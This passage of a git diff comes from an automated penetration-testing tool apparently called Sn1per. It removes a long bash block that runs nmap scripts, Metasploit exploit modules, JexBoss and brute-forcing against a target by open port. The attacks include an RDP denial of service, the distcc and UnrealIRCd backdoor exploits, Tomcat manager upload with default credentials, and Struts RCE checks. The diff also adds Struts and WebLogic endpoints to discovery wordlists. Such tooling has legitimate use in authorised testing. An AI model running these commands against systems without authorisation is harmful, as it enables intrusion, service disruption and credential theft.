"use auxiliary/scanner/rdp/ms12_020_check; setg RHOSTS \"$TARGET\"; run; use auxiliary/dos/windows/rdp/ms12_020_maxchannelids; run; back; exit;" - rdesktop $TARGET & -fi - -if [ -z "$port_3632" ]; -then - echo -e "$OKRED + -- --=[Port 3632 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 3632 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=distcc-* -p 3632 $TARGET - msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use unix/misc/distcc_exec; run; exit;" -fi - -if [ -z "$port_4443" ]; -then - echo -e "$OKRED + -- --=[Port 4443 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 4443 opened... running tests...$RESET" - wafw00f http://$TARGET:4443 - echo "" - whatweb -a 3 http://$TARGET:4443 - echo "" - sslscan --no-failed $TARGET:4443 - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:4443 - if [ "$NIKTO" = "1" ]; then - nikto -h https://$TARGET:4443 -output $LOOT_DIR/web/nikto-$TARGET-https-4443.txt - fi - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn -A -p 4443 -T5 --script=*proxy* $TARGET -fi - -if [ -z "$port_5432" ]; -then - echo -e "$OKRED + -- --=[Port 5432 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 5432 opened... running tests...$RESET" - nmap -A -sV -Pn --script=pgsql-brute -p 5432 $TARGET - msfconsole -x "use auxiliary/scanner/postgres/postgres_login; setg RHOSTS "$TARGET"; run; exit;" -fi - -if [ -z "$port_5800" ]; -then - echo -e "$OKRED + -- --=[Port 5800 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 5800 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=vnc* -p 5800 $TARGET -fi - -if [ -z "$port_5900" ]; -then - echo -e "$OKRED + -- --=[Port 5900 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 5900 opened... running tests...$RESET" - nmap -A -sV -T5 --script=vnc* -p 5900 $TARGET - msfconsole -x "use auxiliary/scanner/vnc/vnc_none_auth; setg RHOSTS \"$TARGET\"; run; back; exit;" -fi - -if [ -z "$port_5984" ]; -then - echo -e "$OKRED + -- --=[Port 5984 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 5984 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=couchdb* -p 5984 $TARGET - msfconsole -x "use auxiliary/scanner/couchdb/couchdb_enum; set RHOST "$TARGET"; run; exit;" -fi - -if [ -z "$port_6000" ]; -then - echo -e "$OKRED + -- --=[Port 6000 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 6000 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=x11* -p 6000 $TARGET - msfconsole -x "use auxiliary/scanner/x11/open_x11; set RHOSTS "$TARGET"; exploit;" -fi - -if [ -z "$port_6667" ]; -then - echo -e "$OKRED + -- --=[Port 6667 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 6667 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=irc* -p 6667 $TARGET - msfconsole -x "use unix/irc/unreal_ircd_3281_backdoor; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" -fi - -if [ -z "$port_8000" ]; -then - echo -e "$OKRED + -- --=[Port 8000 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8000 opened... running tests...$RESET" - wafw00f http://$TARGET:8000 - echo "" - whatweb -a 3 http://$TARGET:8000 - echo "" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8000 -T5 $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8000 - cd $INSTALL_DIR -fi - -if [ -z "$port_8100" ]; -then - echo -e "$OKRED + -- --=[Port 8100 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8100 opened... running tests...$RESET" - wafw00f http://$TARGET:8100 - echo "" - whatweb -a 3 http://$TARGET:8100 - echo "" - sslscan --no-failed $TARGET:8100 - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8100 -T5 $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8100 - cd $INSTALL_DIR -fi - -if [ -z "$port_8080" ]; -then - echo -e "$OKRED + -- --=[Port 8080 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8080 opened... running tests...$RESET" - wafw00f http://$TARGET:8080 - echo "" - whatweb -a 3 http://$TARGET:8080 - echo "" - sslscan --no-failed $TARGET:8080 - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg --insecure --max-wait=1000 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS CVE-2017-5638 VULN SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8080 -T5 $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 REST PLUGIN XSTREAM RCE VULN CHECK $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "${OKBLUE}[*] If you see a 200 response code below, try running 'msfconsole -x \"multi/http/struts2_rest_xstream; set RHOST \"$TARGET\"; exploit -j; exit;" - curl -I http://$TARGET:8080/struts2-rest-showcase/orders/3 -s | grep HTTP | grep 200 - curl -I http://$TARGET:8080/struts2-showcase/integration/saveGangster.action -s | grep HTTP | grep 200 - echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA RCE VULN CHECK $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "${OKBLUE}[*] If you see a 200 response code below, try running 'msfconsole -x \"multi/http/struts2_content_type_ognl; set RHOST \"$TARGET\"; exploit -j; exit;" - curl -I http://$TARGET:8080/struts2-showcase/ -s | grep HTTP | grep 200 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE TOMCAT EXPLOITS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use admin/http/jboss_bshdeployer; run; use auxiliary/scanner/http/jboss_status; run; use admin/http/tomcat_administration; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WILDFLY TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -q -x "use auxiliary/scanner/http/wildfly_traversal; setg RHOSTS "$TARGET"; set RPORT 8080; run; back; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8080 - cd $INSTALL_DIR -fi - -if [ -z "$port_8180" ]; -then - echo -e "$OKRED + -- --=[Port 8180 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8180 opened... running tests...$RESET" - wafw00f http://$TARGET:8180 - echo "" - whatweb -a 3 http://$TARGET:8180 - echo "" - sslscan --no-failed $TARGET:8180 - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8180 - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -p 8180 -T5 --script=*proxy* $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBMIN FILE DISCLOSURE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNING APACHE TOMCAT EXPLOITS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8180 - cd $INSTALL_DIR -fi - -if [ -z "$port_8443" ]; -then - echo -e "$OKRED + -- --=[Port 8443 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8443 opened... running tests...$RESET" - wafw00f http://$TARGET:8443 - echo "" - whatweb -a 3 http://$TARGET:8443 - echo "" - sslscan --no-failed $TARGET:8443 - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8443 - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8443 -T5 --script=*proxy* $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:8443 - cd $INSTALL_DIR -fi - -if [ -z "$port_8888" ]; -then - echo -e "$OKRED + -- --=[Port 8888 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 8888 opened... running tests...$RESET" - wafw00f http://$TARGET:8888 - echo "" - whatweb -a 3 http://$TARGET:8888 - echo "" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg --insecure --max-wait=1000 2> /dev/null - fi - nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8888 -T5 $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8888 - cd $INSTALL_DIR -fi - -if [ -z "$port_10000" ]; -then - echo -e "$OKRED + -- --=[Port 10000 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 10000 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBMIN FILE DISCLOSURE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" -fi - -if [ -z "$port_16992" ]; -then - echo -e "$OKRED + -- --=[Port 16992 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 16992 opened... running tests...$RESET" - amap $TARGET 16992 -A - nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 16992 $TARGET - msfconsole -x "use auxiliary/scanner/http/intel_amt_digest_bypass; setg RHOSTS \"$TARGET\"; run; back; exit;" -fi - -if [ -z "$port_27017" ]; -then - echo -e "$OKRED + -- --=[Port 27017 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 27017 opened... running tests...$RESET" - nmap -sV -p 27017 -Pn -T5 --script=mongodb* $TARGET -fi - -if [ -z "$port_27018" ]; -then - echo -e "$OKRED + -- --=[Port 27018 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 27018 opened... running tests...$RESET" - nmap -sV -p 27018 -Pn -T5 --script=mongodb* $TARGET -fi - -if [ -z "$port_27019" ]; -then - echo -e "$OKRED + -- --=[Port 27019 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 27019 opened... running tests...$RESET" - nmap -sV -p 27019 -Pn -T5 --script=mongodb* $TARGET -fi - -if [ -z "$port_28017" ]; -then - echo -e "$OKRED + -- --=[Port 28017 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 28017 opened... running tests...$RESET" - nmap -sV -p 28017 -Pn -T5 --script=mongodb* $TARGET -fi - -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED SCANNING FOR COMMON VULNERABILITIES $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" -if [ ${DISTRO} == "blackarch" ]; then - /bin/yasuo -r $TARGET -b all -else - cd $PLUGINS_DIR/yasuo - ruby yasuo.rb -r $TARGET -b all -fi - -cd $SNIPER_DIR - -if [ "$FULLNMAPSCAN" = "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" -else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FULL PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -T4 -sV -O -v -p 1-65535 $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -fi - -if [ "$AUTOBRUTE" = "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" -else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - brutex $TARGET - cd $INSTALL_DIR - rm -f hydra.restore - rm -f scan.log - echo "" -fi - -rm -f $LOOT_DIR/.fuse_* 2> /dev/null - -echo -e "${OKGREEN}====================================================================================${RESET}" -echo -e "$OKRED SCAN COMPLETE! $RESET" -echo -e "${OKGREEN}====================================================================================${RESET}" - -if [ "$LOOT" = "1" ] && [ -z "$NOLOOT" ]; then - loot -fi +source modes/discover.sh +source modes/flyover.sh +source modes/web.sh +source modes/webporthttp.sh +source modes/webporthttps.sh +source modes/stealth.sh +source modes/airstrike.sh +source modes/nuke.sh +source modes/normal.sh exit 0 diff --git a/wordlists/toplist-full-sorted.txt b/wordlists/toplist-full-sorted.txt index 04f53c3..6a850d9 100644 --- a/wordlists/toplist-full-sorted.txt +++ b/wordlists/toplist-full-sorted.txt @@ -1,6 +1,4 @@ -uddiexplorer -+CSCOE+/logon.html _ __ . @@ -6464,6 +6462,7 @@ blank blank.aspx blank.php blank.phtml +blank-struts2/login.action blast blasts blazer @@ -11183,6 +11182,7 @@ csadmin.php csadmin.phtml _cs_apps csc ++CSCOE+/logon.html cs_CZ.php csd cse @@ -19475,6 +19475,7 @@ index3 index3.php index.7z index_access +index.action index_adm indexadmin index_admin @@ -19505,6 +19506,7 @@ index.cs index_def.php index.dhtml indexdirectory +index.do index_download.php index_editor.php index_enc_ion.php @@ -20185,6 +20187,7 @@ ipod ipos ipoteka ipp +IPRelayApp/servlet/IPRelay?page=forgotPassword ipro ips ips_kernel @@ -22455,6 +22458,7 @@ Login/sign.php login/sm_login_screen.php?error=\"> login/sm_login_screen.php?uid=\"> login.srf +login_struts2.jsp logins.txt loginstyle.php loginsupe.php @@ -26860,6 +26864,7 @@ pageimg page_includes pageindex page_info.php +page/login_struts2.jsp pagemodules pagenavigation.php pageNavigation.php @@ -34752,6 +34757,10 @@ structures structure.sql strut struts +struts2-blank/example/HelloWorld.action +struts2-showcase +struts3-showcase +struts-showcase strutture sts stsadmin @@ -39807,6 +39816,13 @@ wlp.php wls wlserver wls-wsat/CoordinatorPortType +wls-wsat/CoordinatorPortType11 +wls-wsat/ParticipantPortType +wls-wsat/ParticipantPortType11 +wls-wsat/RegistrationPortTypeRPC +wls-wsat/RegistrationPortTypeRPC11 +wls-wsat/RegistrationRequesterPortType +wls-wsat/RegistrationRequesterPortType11 wm wma wmail diff --git a/wordlists/toplist-insane-sorted.txt b/wordlists/toplist-insane-sorted.txt index 1da7e91..5ecb9ac 100644 --- a/wordlists/toplist-insane-sorted.txt +++ b/wordlists/toplist-insane-sorted.txt @@ -1,5 +1,4 @@ -uddiexplorer ` ~ ~/ @@ -57404,6 +57403,7 @@ BlankProgress.Template.html blank_ru.php blanks blank.shtml +blank-struts2/login.action blank_subnet.php blank.txt blank_V1_120x600.html @@ -165928,6 +165928,7 @@ index_access index:account.html indexacion indexact.aspx +index.action index_actions.php index-activity.php index.act.php @@ -174300,6 +174301,7 @@ ipQuery.do ip_query.php ip_record.php ip_region.php +IPRelayApp/servlet/IPRelay?page=forgotPassword ipresolver.php ipRestriction.aspx iprev.asp @@ -197675,6 +197677,7 @@ login_status.php login-status.php loginstatus.php loginStatus.php +login_struts2.jsp logins.txt loginstyle.php LoginSuccess.aspx @@ -242567,6 +242570,7 @@ page/login/ pageLoginMini.aspx pageLoginMiniModal.aspx page-login.php +page/login_struts2.jsp page-logout.php pagel_productlist_3.html pagem @@ -329232,6 +329236,10 @@ strumenti str_usr_unxcode_n.php strut struts +struts2-blank/example/HelloWorld.action +struts2-showcase +struts3-showcase +struts-showcase StruttaGameAjax struttura struttura/ @@ -377074,6 +377082,13 @@ wlsd_search.jsp wlserver wls/htp wls-wsat/CoordinatorPortType +wls-wsat/CoordinatorPortType11 +wls-wsat/ParticipantPortType +wls-wsat/ParticipantPortType11 +wls-wsat/RegistrationPortTypeRPC +wls-wsat/RegistrationPortTypeRPC11 +wls-wsat/RegistrationRequesterPortType +wls-wsat/RegistrationRequesterPortType11 wltags.php wltuc WLUaddons/modal/html diff --git a/wordlists/toplist-quick-sorted.txt b/wordlists/toplist-quick-sorted.txt index 92955c4..62f5e6d 100644 --- a/wordlists/toplist-quick-sorted.txt +++ b/wordlists/toplist-quick-sorted.txt @@ -1,7 +1,5 @@ -uddiexplorer a2e2gp2r2x.jsp -+CSCOE+/logon.html .access access_log account @@ -19,21 +17,17 @@ Addons-Modules.txt .addressbook adm ~adm -loginuser.php adm_auth.php adm-bin adm.html admin ~admin _admin -admin admin$ Admin ADMIN admin2 admin2.php -admin -admin.html adminarea admin_area admin.asmx @@ -98,7 +92,6 @@ admin-serv admins.php AdminThreads AdminVersion -loginuser.php adm.php admpw affiliate.php @@ -141,6 +134,7 @@ bea_wls_internal bin ~bin BizTalkServer +blank-struts2/login.action Blocks.txt blog Bootstrap @@ -200,6 +194,7 @@ cp.php Credits.txt cron.php cron.sh ++CSCOE+/logon.html culeadora.txt CVSEntries CVSRoot @@ -215,7 +210,6 @@ DateServlet dav DAV db -db DB dbadmin dbadmin/index.php @@ -295,7 +289,6 @@ get.php globals.inc ~gopher GponForm/diag_Form?images -GponForm/diag_Form?images grabbed.html graphics gruntfile.coffee @@ -348,11 +341,13 @@ iisadmin images includes index +index.action index.asp index.aspx index-bak index.bak index.cgi +index.do index.htm index.html index.jsp @@ -378,6 +373,7 @@ Install.txt INSTALL.txt internal invoker +IPRelayApp/servlet/IPRelay?page=forgotPassword isadmin jbossws Jenkinsfile @@ -414,12 +410,13 @@ login.jsp Login.jsp login.php Login.portal +login_struts2.jsp logins.txt +loginuser.php logo.gif logon.php logs logsaccess.log -logsaccess.log logserror_log logserror.log logs.txt @@ -458,7 +455,6 @@ mrtg.cfg muieblackcat myaccount myadmin -myadmin myadmin2/index.php myadmin/index.php myadmin/scripts/setup.php @@ -467,10 +463,8 @@ mybackup mydomain myservlet mysql -mysql mysqladmin mysql-admin -mysqladmin MySQLadmin MySQLAdmin mysql-admin/index.php @@ -502,6 +496,7 @@ pac .pac package.json page +page/login_struts2.jsp pages panel-administracion pass.dat @@ -536,17 +531,15 @@ php.ini.sample phpma/index.php phpmanager phpmyadmin -php-my-admin php-myadmin +php-my-admin phpmy-admin -phpmyadmin -phpMyAdmin phpMyAdmin phpmyadmin0/index.php phpmyadmin1/index.php phpmyadmin2 -phpMyAdmin-2 phpMyAdmin2 +phpMyAdmin-2 phpMyAdmin-2.2.3 phpMyAdmin-2.2.6 phpMyAdmin-2.5.1 @@ -627,8 +620,8 @@ physicanlogin.do plugin PLUGIN plugins -p/m/a pma +p/m/a PMA pma2005 PMA2005 @@ -751,6 +744,10 @@ stats status STATUS.txt StockServlet +struts2-blank/example/HelloWorld.action +struts2-showcase +struts3-showcase +struts-showcase Support.txt survey .svn @@ -829,7 +826,6 @@ _vti_aut _vti_bin _vti_cnf _vti_inf.html -_vti_inf.html vti_inf.html _vti_log _vti_pvt @@ -842,7 +838,6 @@ web ~web .web webadmin -webadmin webadmin.aspx webadmin.html webadmin.php @@ -875,6 +870,13 @@ wl_management_internal1 wl_management_internal2 wlserver wls-wsat/CoordinatorPortType +wls-wsat/CoordinatorPortType11 +wls-wsat/ParticipantPortType +wls-wsat/ParticipantPortType11 +wls-wsat/RegistrationPortTypeRPC +wls-wsat/RegistrationPortTypeRPC11 +wls-wsat/RegistrationRequesterPortType +wls-wsat/RegistrationRequesterPortType11 wordpress wp wp-admin diff --git a/wordlists/toplist-sorted.txt b/wordlists/toplist-sorted.txt index 5919ee8..1396b8c 100644 --- a/wordlists/toplist-sorted.txt +++ b/wordlists/toplist-sorted.txt @@ -1,7 +1,5 @@ -uddiexplorer _ -+CSCOE+/logon.html @ 0 00 @@ -1159,6 +1157,7 @@ crtr crypt crypto cs ++CSCOE+/logon.html cse csproj css